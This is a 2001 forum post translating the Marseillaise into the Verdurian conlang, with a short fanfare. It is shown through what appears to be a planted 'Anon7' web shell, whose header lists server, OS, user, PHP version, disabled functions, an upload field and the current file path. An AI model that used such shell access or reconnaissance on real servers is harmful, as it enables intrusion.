.

KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY

Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory : /domains/markrose/board/messages/

Upload File :

Current File : /domains/markrose/board/messages/205.html

<html><head><title>More patriotism</title></head>

<body bgcolor="#FFFFFF">

<center><h1><!--title-->More patriotism
</h1></center>

<hr size=7 width=75>
<p>Posted by <b><!--poster-->Mark Rosenfelder</b>
on <!--date-->14:59 10/1/01
<p>In reply to: <a href="203.html">More patriotism</a> posted by Philip Newton</b>  on 12:22 10/1/01


<!-- PUT MESSAGE HERE -->
<p>
Impressive!  I noticed you didn't do the <i>Marseillaise</i>, but as 
it happens I translated it years ago... indeed, so long ago that 
I had to update it to use the current Verdurian lexicon.
You can sing it to the tune of the French anthem, so long as you
pronounce "uestt&icirc;" as "west&icirc;" and "meom" as one syllable.
(I had to move words around a bit, in some cases, to match the meter.)

<blockquote>
<b>Soa Mars&eacute;ii</b>

<p>L&auml;danam, uest&icirc; piron&aacute;ei,
<br>So hora brace adzhe nun!
<br>Ak tan is so&aacute;n altuat&aacute;n
<br>Soa krofs&euml; znura zet seve
<br>Soa krofs&euml; znura zet seve.
<br>Fortece ya im soem mestem
<br>Muzhou ci-voyak&icirc; og&icirc;.
<br>Zhanu u braki zheni&euml;
<br>Igozhen ta&euml; cirem, druki.

<p>Guneno, p&aacute;zhiom&icirc;!
<br>Concolo taknoshi!
<br>Fasadirum!
<br>Krof rhoseor meyane meom ta&euml;!
</blockquote>

I'm sure someone will be wondering about the Verdurian anthem, which I've named elsewhere as "Far above E&auml;rdur's waters" (extra points to anyone who recognizes what song that title parodies).
I haven't got that one, but here's a sort of fanfare I wrote, again many years ago.  

<blockquote>
Ave Verd&uacute;ria!
<br>Ave Alric Dalu!
<br>Ave zhen scur&euml;, alte er base, pak er ret!
<br>Scuri orhei, scuri silvi&euml; er z&euml;i&euml;,
<br>zhen so mudhe taye er trastoshte, ave!
</blockquote>




<hr><center>
<i>To make a reply, or see replies, see <a href="../">the index page</a>.</i>
</center>

<hr>

<!-- For index page:
<li><a href="messages/205.html">More patriotism</a> - 
    <b>Mark Rosenfelder</b>
 <i>14:59 10/1/01</i>
-->

</body></html>

Anon7 - 2021